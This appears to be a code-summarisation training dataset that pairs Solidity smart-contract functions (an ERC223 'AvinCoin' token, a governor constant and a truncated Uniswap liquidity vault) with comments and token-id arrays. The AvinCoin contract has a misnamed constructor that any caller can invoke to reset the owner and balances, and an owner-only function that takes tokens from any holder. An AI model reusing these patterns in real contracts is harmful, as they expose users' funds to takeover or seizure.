7397, 11008, 18, 2816, 4497, 1864, 2 ]
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } contract AvinCoin is ERC223, Ownable { using SafeMath for uint256; string public name = "AVINCOIN"; string public symbol = "AVNC"; uint8 public decimals = 18; uint256 public totalSupply = 2e9 * 1e18; bool public mintingFinished = false; address public founder = 0xd31d6589a4a31680a080fD8C2D337fA082d2147d; address public AirDrop = 0xD067a36f0e05eb6C4AADabd36F4bC6B4a7AF2e39; address public LongTerm = 0xE7dfE192abd0997b3C194ac918d1c960d591E3ed; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function IdolCoin() public { owner = founder; balanceOf[founder] = totalSupply.mul(70).div(100); balanceOf[AirDrop] = totalSupply.mul(20).div(100); balanceOf[LongTerm] = totalSupply.mul(10).div(100); } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } }
* @dev Function to collect tokens from the list of addresses/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; }
10,420,458
[ 1, 2083, 358, 3274, 2430, 628, 326, 666, 434, 6138, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3274, 5157, 12, 2867, 8526, 6138, 16, 2254, 8526, 30980, 13, 1338, 5541, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 13277, 18, 2469, 405, 374, 203, 7734, 597, 6138, 18, 2469, 422, 30980, 18, 2469, 1769, 203, 203, 3639, 2254, 5034, 2078, 6275, 273, 374, 31, 203, 203, 3639, 364, 261, 11890, 525, 273, 374, 31, 525, 411, 6138, 18, 2469, 31, 525, 27245, 288, 203, 5411, 2583, 12, 8949, 87, 63, 78, 65, 405, 374, 203, 10792, 597, 6138, 63, 78, 65, 480, 374, 92, 20, 203, 10792, 597, 12810, 3032, 63, 13277, 63, 78, 13563, 422, 629, 203, 10792, 597, 2037, 405, 7186, 18729, 950, 63, 13277, 63, 78, 13563, 1769, 203, 203, 5411, 30980, 63, 78, 65, 273, 30980, 63, 78, 8009, 16411, 12, 21, 73, 28, 1769, 203, 5411, 2583, 12, 12296, 951, 63, 13277, 63, 78, 13563, 1545, 30980, 63, 78, 19226, 203, 5411, 11013, 951, 63, 13277, 63, 78, 13563, 273, 11013, 951, 63, 13277, 63, 78, 65, 8009, 1717, 12, 8949, 87, 63, 78, 19226, 203, 5411, 2078, 6275, 273, 2078, 6275, 18, 1289, 12, 8949, 87, 63, 78, 19226, 203, 5411, 12279, 12, 13277, 63, 78, 6487, 1234, 18, 15330, 16, 30980, 63, 78, 19226, 203, 3639, 289, 203, 3639, 11013, 951, 63, 3576, 18, 15330, 65, 273, 11013, 951, 63, 3576, 18, 15330, 8009, 1289, 12, 4963, 6275, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6cAe87E30445665CA5125d574aa02db4aA9eDB96/sources/ConjureGovernorAlpha.sol
~3 days in blocks (assuming 15s blocks)
uint256 public constant permanentVotingPeriod = 17_280;
2,851,121
[ 1, 98, 23, 4681, 316, 4398, 261, 428, 21249, 4711, 87, 4398, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5381, 16866, 58, 17128, 5027, 273, 8043, 67, 22, 3672, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./libraries/UniswapLibrary.sol"; import "./BlockLock.sol"; import "./interfaces/IxTokenManager.sol"; contract xAssetCLR is Initializable, ERC20Upgradeable, OwnableUpgradeable, PausableUpgradeable, BlockLock { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 private constant SWAP_SLIPPAGE = 100; // 1% uint256 private constant MINT_BURN_SLIPPAGE = 100; // 1% // Used to give an identical token representation uint8 private constant TOKEN_DECIMAL_REPRESENTATION = 18; int24 tickLower; int24 tickUpper; // Prices calculated using above ticks from TickMath.getSqrtRatioAtTick() uint160 priceLower; uint160 priceUpper; int128 lastTwap; // Last stored oracle twap // Max current twap vs last twap deviation percentage divisor (100 = 1%) uint256 maxTwapDeviationDivisor; IERC20 token0; IERC20 token1; uint256 public tokenId; // token id representing this uniswap position uint256 public token0DecimalMultiplier; // 10 ** (18 - token0 decimals) uint256 public token1DecimalMultiplier; // 10 ** (18 - token1 decimals) uint256 public tokenDiffDecimalMultiplier; // 10 ** (token0 decimals - token1 decimals) uint24 public poolFee; uint8 public token0Decimals; uint8 public token1Decimals; address public poolAddress; address public routerAddress; address public positionManagerAddress; IxTokenManager xTokenManager; // xToken manager contract uint32 twapPeriod; event Rebalance(); event FeeCollected(uint256 token0Fee, uint256 token1Fee); function initialize( string memory _symbol, int24 _tickLower, int24 _tickUpper, IERC20 _token0, IERC20 _token1, address _poolAddress, address _routerAddress, address _positionManagerAddress, address _xTokenManagerAddress, uint256 _maxTwapDeviationDivisor, uint8 _token0Decimals, uint8 _token1Decimals ) external initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); __ERC20_init_unchained("xAssetCLR", _symbol); tickLower = _tickLower; tickUpper = _tickUpper; priceLower = UniswapLibrary.getSqrtRatio(_tickLower); priceUpper = UniswapLibrary.getSqrtRatio(_tickUpper); if (_token0 > _token1) { token0 = _token1; token1 = _token0; token0Decimals = _token1Decimals; token1Decimals = _token0Decimals; } else { token0 = _token0; token1 = _token1; token0Decimals = _token0Decimals; token1Decimals = _token1Decimals; } token0DecimalMultiplier = 10**(TOKEN_DECIMAL_REPRESENTATION - token0Decimals); token1DecimalMultiplier = 10**(TOKEN_DECIMAL_REPRESENTATION - token1Decimals); tokenDiffDecimalMultiplier = 10**((UniswapLibrary.subAbs(token0Decimals, token1Decimals))); maxTwapDeviationDivisor = _maxTwapDeviationDivisor; poolAddress = _poolAddress; positionManagerAddress = _positionManagerAddress; poolFee = 3000; routerAddress = _routerAddress; token0.safeIncreaseAllowance(_routerAddress, type(uint256).max); token1.safeIncreaseAllowance(_routerAddress, type(uint256).max); token0.safeIncreaseAllowance( _positionManagerAddress, type(uint256).max ); token1.safeIncreaseAllowance( _positionManagerAddress, type(uint256).max ); UniswapLibrary.approveOneInch(token0, token1); xTokenManager = IxTokenManager(_xTokenManagerAddress); lastTwap = getAsset0Price(); twapPeriod = 3600; } /* ========================================================================================= */ /* User-facing */ /* ========================================================================================= */ /** * @dev Mint xAssetCLR tokens by sending *amount* of *inputAsset* tokens * @dev amount of the other asset is auto-calculated */ function mint(uint8 inputAsset, uint256 amount) external notLocked(msg.sender) whenNotPaused() { require(amount > 0); lock(msg.sender); checkTwap(); (uint256 amount0Minted, uint256 amount1Minted) = calculateAmountsMintedSingleToken(inputAsset, amount); token0.safeTransferFrom(msg.sender, address(this), amount0Minted); token1.safeTransferFrom(msg.sender, address(this), amount1Minted); uint128 liquidityAmount = getLiquidityForAmounts(amount0Minted, amount1Minted); _mintInternal(liquidityAmount); // stake tokens in pool (uint256 stakedAmount0, uint256 stakedAmount1) = _stake(amount0Minted, amount1Minted); // Transfer back tokens we haven't been able to stake // There's up to 1% slippage when staking if ( amount0Minted.div(10**token0Decimals) > stakedAmount0.div(10**token0Decimals) ) { uint256 amountLeft = amount0Minted.sub(stakedAmount0); token0.safeTransfer(msg.sender, amountLeft); } if ( amount1Minted.div(10**token1Decimals) > stakedAmount1.div(10**token1Decimals) ) { uint256 amountLeft = amount1Minted.sub(stakedAmount1); token1.safeTransfer(msg.sender, amountLeft); } } /** * @dev Burn *amount* of xAssetCLR tokens to receive proportional * amount of pool tokens */ function burn(uint256 amount) external notLocked(msg.sender) { require(amount > 0); lock(msg.sender); checkTwap(); uint256 totalLiquidity = getTotalLiquidity(); uint256 proRataBalance = amount.mul(totalLiquidity).div(totalSupply()); super._burn(msg.sender, amount); (uint256 amount0, uint256 amount1) = getAmountsForLiquidity(uint128(proRataBalance)); uint256 unstakeAmount0 = amount0.add(amount0.div(MINT_BURN_SLIPPAGE)); uint256 unstakeAmount1 = amount1.add(amount1.div(MINT_BURN_SLIPPAGE)); _unstake(unstakeAmount0, unstakeAmount1); token0.safeTransfer(msg.sender, amount0); token1.safeTransfer(msg.sender, amount1); } function transfer(address recipient, uint256 amount) public override notLocked(msg.sender) returns (bool) { return super.transfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public override notLocked(sender) returns (bool) { return super.transferFrom(sender, recipient, amount); } /** * @dev Get Net Asset Value: * @dev token 0 amt * token 0 price + token1 amt * token1 price */ function getNav() public view returns (uint256) { return getStakedBalance().add(getBufferBalance()); } /** * @dev Returns amount in terms of asset 0 * @dev amount * asset 1 price */ function getAmountInAsset0Terms(uint256 amount) public view returns (uint256) { return UniswapLibrary.getAmountInAsset0Terms( amount, poolAddress, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @dev Returns amount in terms of asset 1 * @dev amount * asset 0 price */ function getAmountInAsset1Terms(uint256 amount) public view returns (uint256) { return UniswapLibrary.getAmountInAsset1Terms( amount, poolAddress, twapPeriod, token0Decimals, token1Decimals, tokenDiffDecimalMultiplier ); } /** * @dev Get balance in xAssetCLR contract * @dev amounts are adjusted based on their token prices: * @dev token 0 amt * token 0 price + token1 amt * token1 price */ function getBufferBalance() public view returns (uint256) { (uint256 balance0, uint256 balance1) = getBufferTokenBalance(); return getAmountInAsset1Terms(balance0).add( getAmountInAsset0Terms(balance1) ); } /** * @dev Get total balance in the position * @dev amounts are adjusted based on their token prices: * @dev token 0 amt * token 0 price + token1 amt * token1 price */ function getStakedBalance() public view returns (uint256) { (uint256 amount0, uint256 amount1) = getStakedTokenBalance(); return getAmountInAsset1Terms(amount0).add( getAmountInAsset0Terms(amount1) ); } /** * @dev Get token balances in xAssetCLR contract * @dev returned balances are in wei representation */ function getBufferTokenBalance() public view returns (uint256 amount0, uint256 amount1) { return (getBufferToken0Balance(), getBufferToken1Balance()); } /** * @dev Get token0 balance in xAssetCLR */ function getBufferToken0Balance() public view returns (uint256 amount0) { return getToken0AmountInWei(token0.balanceOf(address(this))); } /** * @dev Get token1 balance in xAssetCLR */ function getBufferToken1Balance() public view returns (uint256 amount1) { return getToken1AmountInWei(token1.balanceOf(address(this))); } /** * @dev Get token balances in the position * @dev returned balances are in wei representation */ function getStakedTokenBalance() public view returns (uint256 amount0, uint256 amount1) { (amount0, amount1) = getAmountsForLiquidity(getPositionLiquidity()); amount0 = getToken0AmountInWei(amount0); amount1 = getToken1AmountInWei(amount1); } /** * @dev Get total liquidity * @dev buffer liquidity + position liquidity */ function getTotalLiquidity() public view returns (uint256 amount) { (uint256 buffer0, uint256 buffer1) = getBufferTokenBalance(); uint128 bufferLiquidity = getLiquidityForAmounts(buffer0, buffer1); uint128 positionLiquidity = getPositionLiquidity(); return uint256(bufferLiquidity).add(uint256(positionLiquidity)); } /** * @dev Check how much xAssetCLR tokens will be minted on mint * @dev Uses position liquidity to calculate the amount */ function calculateMintAmount(uint256 _amount, uint256 totalSupply) public view returns (uint256 mintAmount) { if (totalSupply == 0) return _amount; uint256 previousLiquidity = getTotalLiquidity().sub(_amount); mintAmount = (_amount).mul(totalSupply).div(previousLiquidity); return mintAmount; } /* ========================================================================================= */ /* Management */ /* ========================================================================================= */ /** * @dev Collect rewards from pool and stake them in position * @dev may leave unstaked tokens in contract */ function collectAndRestake() external onlyOwnerOrManager { (uint256 amount0, uint256 amount1) = collect(); (uint256 stakeAmount0, uint256 stakeAmount1) = calculatePoolMintedAmounts(amount0, amount1); _stake(stakeAmount0, stakeAmount1); } /** * @dev Collect fees generated from position */ function collect() public onlyOwnerOrManager returns (uint256 collected0, uint256 collected1) { (collected0, collected1) = collectPosition( type(uint128).max, type(uint128).max ); emit FeeCollected(collected0, collected1); } /** * @dev Migrate the current position to a new position with different ticks */ function migratePosition(int24 newTickLower, int24 newTickUpper) public onlyOwnerOrManager { require(newTickLower != tickLower || newTickUpper != tickUpper); // withdraw entire liquidity from the position (uint256 _amount0, uint256 _amount1) = withdrawAll(); // burn current position NFT UniswapLibrary.burn(positionManagerAddress, tokenId); tokenId = 0; // set new ticks and prices tickLower = newTickLower; tickUpper = newTickUpper; priceLower = UniswapLibrary.getSqrtRatio(newTickLower); priceUpper = UniswapLibrary.getSqrtRatio(newTickUpper); (uint256 amount0, uint256 amount1) = calculatePoolMintedAmounts(_amount0, _amount1); // mint the position NFT and deposit the liquidity // set new NFT token id tokenId = createPosition(amount0, amount1); } /** * @dev Migrate the current position to a new position with different ticks * @dev Migrates position tick lower and upper by same amount of ticks * @dev Tick spacing (minimum tick difference) in pool w/ 3000 fee is 60 * @param ticks how many ticks to shift up or down * @param up whether to move tick range up or down */ function migrateParallel(uint24 ticks, bool up) external onlyOwnerOrManager { require(ticks != 0); int24 newTickLower; int24 newTickUpper; int24 ticksToShift = int24(ticks) * 60; if (up) { newTickLower = tickLower + ticksToShift; newTickUpper = tickUpper + ticksToShift; } else { newTickLower = tickLower - ticksToShift; newTickUpper = tickUpper - ticksToShift; } migratePosition(newTickLower, newTickUpper); } /** * @dev Mint function which initializes the pool position * @dev Must be called before any liquidity can be deposited */ function mintInitial(uint256 amount0, uint256 amount1) external onlyOwnerOrManager { require(tokenId == 0); require(amount0 > 0 || amount1 > 0); checkTwap(); (uint256 amount0Minted, uint256 amount1Minted) = calculatePoolMintedAmounts(amount0, amount1); if (amount0 > 0) { token0.safeTransferFrom(msg.sender, address(this), amount0Minted); } if (amount1 > 0) { token1.safeTransferFrom(msg.sender, address(this), amount1Minted); } tokenId = createPosition(amount0Minted, amount1Minted); uint256 liquidity = uint256(getLiquidityForAmounts(amount0Minted, amount1Minted)); _mintInternal(liquidity); } /** * @dev Admin function to stake tokens * @dev used in case there's leftover tokens in the contract */ function adminRebalance() external onlyOwnerOrManager { UniswapLibrary.adminRebalance( UniswapLibrary.TokenDetails({ token0: address(token0), token1: address(token1), 